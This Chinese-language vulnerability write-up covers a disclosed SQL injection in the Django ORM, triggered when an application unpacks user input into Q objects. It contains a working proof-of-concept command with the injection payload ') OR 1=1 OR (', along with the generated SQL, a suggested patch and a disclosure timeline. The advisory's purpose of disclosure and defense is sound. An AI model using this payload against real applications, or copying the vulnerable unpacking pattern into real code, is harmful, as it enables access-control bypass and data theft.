Django ORM Q对象_connector未验证导致的SQL注入漏洞分析

本文详细分析了Django ORM中一个关键的SQL注入漏洞。当应用程序使用字典解包(Q(**user_input))方式构建查询时,攻击者可通过控制_connector键值注入恶意SQL,绕过ORM的参数化安全机制,导致数据泄露。

漏洞摘要

Django ORM在Q对象的处理中存在一个关键的SQL注入漏洞。WhereNode.as_sql方法内部使用不安全的字符串格式化将查询连接符(如’AND’)注入到原始SQL查询中。当开发者使用字典解包(例如Q(**user_input))创建Q对象时,攻击者可通过_connector键控制此连接符值,从而在WHERE子句中注入任意SQL。这完全绕过了ORM的参数化安全防护,可能导致过滤器被绕过,并从查询的模型中完全泄露数据。

漏洞详情

漏洞的根本原因位于django/db/models/sql/where.py文件中的WhereNode.as_sql方法内。此方法负责将多个过滤条件连接在一起。代码使用不安全的字符串格式化来插入连接符:

1
2
# Simplified representation of the vulnerable code in WhereNode.as_sql
conn = ' %s ' % self.connector

该方法在将self.connector属性嵌入查询之前,未对其进行任何验证或清理。框架允许开发者在初始化Q对象时通过_connector参数指定此连接符。在具有复杂过滤功能的应用程序(例如那些带有搜索API的应用)中,一个常见的模式是接受一个过滤器字典并直接解包它。这种模式极易受到攻击:

1
2
3
4
# An example of a vulnerable application pattern
filter_dictionary = request.json.get('filters', {{}})
query = Q(**filter_dictionary) # VULNERABLE LINE
results = User.objects.filter(query)

如果攻击者控制了filter_dictionary的内容,他们就可以插入一个带有恶意SQL负载的_connector键。然后,该负载将被直接注入到查询结构中。

概念验证 (PoC)

首先创建一个新的Django项目和应用程序,并确保在settings.py中将该Web应用添加到已安装的应用列表中。

1
2
django-admin startproject sqli .
python manage.py startapp webapp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# sqli/settings.py

INSTALLED_APPS = [
 'django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.messages',
 'django.contrib.staticfiles',
 'webapp', # <-- Add this
]

然后在webapp目录内创建一个management/commands文件夹,并在managementcommands目录中各创建一个空的__init__.py文件。

在此之后,在management/commands目录中创建一个名为poc.py的文件,并添加以下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User
from django.db import connection

def process_vulnerable_request(search_dict):
 """
    This function simulates a VULNERABLE part of an application.

    It takes a dictionary of filters (as if from a JSON API request)
    and uses unpacking pattern without validating the keys.
    """
 print("--> Entering vulnerable function: Q(**search_dict)")
 # THE VULNERABLE LINE: Unpacking a user-controlled dictionary.
    query = Q(**search_dict)
 return User.objects.filter(query)


class Command(BaseCommand):
 help = "Demonstrates a realistic SQLi PoC via Q object's **kwargs unpacking"

 def handle(self, *args, **options):
 # 1. SETUP
        User.objects.all().delete()
        User.objects.create(username="alice", is_admin=False)
        User.objects.create(username="root", is_admin=True)
        self.stdout.write("Sample users created: 'alice' (non-admin) and 'root' (admin)")
        self.stdout.write("-" * 40)

 # 2. THE MALICIOUS PAYLOAD
 # This dictionary simulates a JSON payload sent by an attacker. It looks
 # like a legitimate filter request, but it includes the malicious key.
        malicious_user_payload = {
 "is_admin": False,
 "username": "nonexistent_user",
 "_connector": ") OR 1=1 OR ("
 }
        self.stdout.write(f"Simulating malicious user payload:\n{malicious_user_payload}")
        self.stdout.write("-" * 40)

 # 3. EXECUTING THE VULNERABLE CODE
 # We pass the attacker's dictionary to the vulnerable function.
        queryset = process_vulnerable_request(malicious_user_payload)
        self.stdout.write("-" * 40)

 # 4. THE PROOF
        compiler = queryset.query.get_compiler(using='default')
        sql, params = compiler.as_sql()
        self.stdout.write(self.style.SQL_KEYWORD("Generated SQL:"))
        self.stdout.write(sql % tuple(f"'{p}'" for p in params))
        self.stdout.write("-" * 40)

 # 5. THE IMPACT
        self.stdout.write("Query Results:")
        results = list(queryset)
 for user in results:
            self.stdout.write(f"  - Found user: {user}")
 if any(user.is_admin for user in results):
            self.stdout.write(self.style.SUCCESS("\n SUCCESS: The filter was bypassed via dictionary unpacking! The admin user was returned."))
 else:
            self.stdout.write(self.style.ERROR("\n- FAILED: The injection did not bypass the filter."))

然后修改models.py以添加一个示例用户模型。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# models.py

from django.db import models

class User(models.Model):
    username = models.CharField(max_length=100)
    is_admin = models.BooleanField(default=False)

 def __str__(self):
 return f"{self.username} (Admin: {self.is_admin})"

运行以下命令来迁移数据库并执行概念验证:

1
2
3
python manage.py makemigrations
python manage.py migrate
python manage.py poc

此代码的输出将突出显示该漏洞,因为它允许SQL注入并打印表中的用户。它还将显示最终查询以突出显示漏洞。预期输出示例如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Sample users created: 'alice' (non-admin) and 'root' (admin)
----------------------------------------
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
--> Entering vulnerable function: Q(**search_dict)
----------------------------------------
Generated SQL:
SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin" FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')
----------------------------------------
Query Results:
  - Found user: alice (Admin: False)
  - Found user: root (Admin: True)

 SUCCESS: The filter was bypassed via dictionary unpacking! The admin user was returned.

修复建议

根本原因在于对_connector字符串的信任。该漏洞可以通过在使用该字符串进行格式化之前,将连接符值与严格的白名单进行验证来修复。

建议的补丁 (django/db/models/sql/where.py):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# In WhereNode.as_sql method...

def as_sql(self, compiler, connection):
 # Add this validation at the beginning of the method
 if self.connector not in ('AND', 'OR'):
 raise ValueError(
 f"Invalid connector '{{self.connector}}'. Must be 'AND' or 'OR'."
 )

 # ... (rest of the method proceeds as normal)
    conn = ' %s ' % self.connector
 # ...

影响

此漏洞的影响非常严重。能够控制用于过滤模型的字典键的攻击者可以:

  • 绕过访问控制:通过注入一个始终为真的条件(例如OR 1=1),从查询表中检索任何和所有记录,从而绕过WHERE子句中的所有其他过滤器。
  • 泄露敏感数据:攻击者可以从用户表中泄露所有用户(包括管理员)的数据。这适用于通过易受攻击的过滤器暴露的任何模型。
  • 降低性能:复杂的注入SQL负载可能被用于通过使数据库过载来造成拒绝服务状况。

处理时间线

  • 2025年9月12日:报告者cyberstan向Django提交报告。
  • 2025年9月17日:Django安全团队确认收到报告,并要求保密。
  • 2025年9月26日:状态更新为"已分类"。
  • 2025年10月14日:Django安全团队确认了该漏洞,并计划请求CVE。他们提供了修复补丁,并要求报告者测试。计划于11月5日发布包含修复的版本。
  • 2025年10月14日:报告者cyberstan确认补丁有效。
  • 约6天前:Django安全团队将状态更新为"已解决",并确认漏洞已于11月5日随Django 5.2.8、5.1.14和4.2.26版本发布而修复。
  • 约4天前:报告者请求披露,并获得同意。报告被公开。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计